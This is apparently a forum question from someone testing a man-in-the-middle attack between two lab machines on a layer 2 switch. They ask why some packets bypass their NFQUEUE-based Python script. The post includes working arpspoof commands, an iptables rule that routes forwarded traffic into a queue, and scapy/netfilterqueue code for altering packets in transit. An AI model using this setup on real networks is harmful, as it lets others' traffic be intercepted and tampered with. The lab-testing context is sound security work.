0

I'm testing MITM packet manipulation on the fly between two computers on the same switch, a layer 2 switch. I'm using a Kali Linux machine as the attacker and i have written a python script to manipulate the packets on the fly.

I'm using scapy and netfilterqueue. I'm redirecting traffic to NFQUQUE and I'm for most of the time able to modify packets on the fly, however there are some packets that i'm not able to getting and they are reaching destination in original form. About every 5th packet. I have done alot of debugging and it dosn't seems like these packets are being forwarde to NFQUQUE and reaches the python script.

#Allowing packets to pass through the machine

echo 1 > /proc/sys/net/ipv4/ip_forward

# forward packets go to queue 0

iptables -A FORWARD -p tcp -j NFQUEUE --queue-num 0

# arpspoof computer A = 192.168.1.6 computer B = 192.168.1.7

arpspoof -i eth0 -t 192.168.1.6 192.168.1.7
arpspoof -i eth0 -t 192.168.1.7 192.168.1.6

# getting packets from NetfilterQueue
nfqueue = NetfilterQueue()
nfqueue.bind(0, manipulate_packet)
try:     
    nfqueue.run()
except KeyboardInterrupt:
    pass

Any ideas why I'm not seeing these packets?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.